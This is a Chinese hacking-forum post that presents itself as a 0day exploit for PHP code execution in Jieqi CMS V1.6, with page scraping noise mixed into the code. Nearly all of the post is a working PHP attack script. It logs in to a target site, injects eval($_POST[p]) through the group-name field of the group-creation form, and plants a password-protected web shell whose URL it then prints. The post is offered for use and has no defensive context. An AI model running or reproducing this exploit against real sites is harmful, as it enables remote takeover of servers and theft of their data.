找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2144|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。! ^- H1 V( r$ ^
4 m+ _, X! q! f2 K0 E$ ?- X5 s

+ ]% W. {0 L, i$ [5 Q该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。; F- k( o6 I5 E; t7 E4 ?) h9 i; u
需要有一个能创建圈子的用户。/ Z2 n" B+ b2 L8 G+ c

. i$ H9 Q# P1 j+ j7 b<?php" z, ^& |0 E) o4 G
& N' w1 p* l! A
print_r('
1 q# p% E8 i- o1 E4 _  o  z4 [+---------------------------------------------------------------------------+& Z! e  K9 c2 Z' @, D: p4 U0 F
Jieqi CMS V1.6 PHP Code Injection Exploit
' P6 j6 p" m) X0 L2 ^- z$ Sby flyh4t
) h1 I7 O* o+ b2 R% qmail: phpsec at hotmail dot com
  i$ M4 E2 g' C9 \' J# T+ Q; k( ?team: http://www.wolvez.org
' h3 s, T; n& k) ?8 _' r, y+---------------------------------------------------------------------------+
, F+ T3 D* x; {5 s/ Y4 `'); /**
7 I4 s+ H+ E* h" j$ V! n * works regardless of php.ini settings$ X9 ]( c, x4 T6 w4 k: H
*/ if ($argc < 5) { print_r('
* n0 N2 s2 E2 T/ S, U. `: U, @+---------------------------------------------------------------------------+" h8 e& w3 I0 a2 n$ U
Usage: php '.$argv[0].' host path username
' ~/ f3 D2 Q! Yhost:      target server (ip/hostname)
6 B0 D# q+ N/ y" T- N  d6 |path:      path to jieqicms / O2 ]$ ]1 l8 o4 H$ t
uasename:  a username who can create group9 x' ^: O% M/ w: I* M
Example:
% \- |* x2 }' z: Bphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password/ q& s3 C8 H' }' L" \
+---------------------------------------------------------------------------+1 W* z5 {/ V# L
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961) W; m8 y+ n; j5 ^
Content-Disposition: form-data; name="gname"' X; M* u% a; _
* e4 t5 Q5 v3 `9 f
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
+ q) M4 l& E5 E# j/ ?. U-----------------------------23281168279961
6 p' j( I' i5 R. t( \8 z+ \Content-Disposition: form-data; name="gcatid"
/ ?( r( b- F4 @6 h8 x
  ~2 v" I. A( \* X8 \$ u1- ~. a) Y! O0 N7 E" c$ |
-----------------------------23281168279961
3 n! t& f6 G1 \6 z8 Y( bContent-Disposition: form-data; name="gaudit"0 x( \3 X% N# \9 \+ [

3 k4 x& v6 a9 x' s% c1
1 v# g) m: Z) j5 J* L-----------------------------232811682799615 u2 A) _1 o( v1 L) A
Content-Disposition: form-data; name="gbrief"' y) X2 c- ?: [+ a

& a; G' g$ ]  L8 i3 f! j9 K/ z# s1
) B2 X. t; X4 Y+ v, H$ C) S-----------------------------23281168279961--' X9 P3 B- H- w* a5 ^; g
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com2 q* U) w7 p' z( s9 C
8 n" H9 X* z& x- L! c/ H& I9 h
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表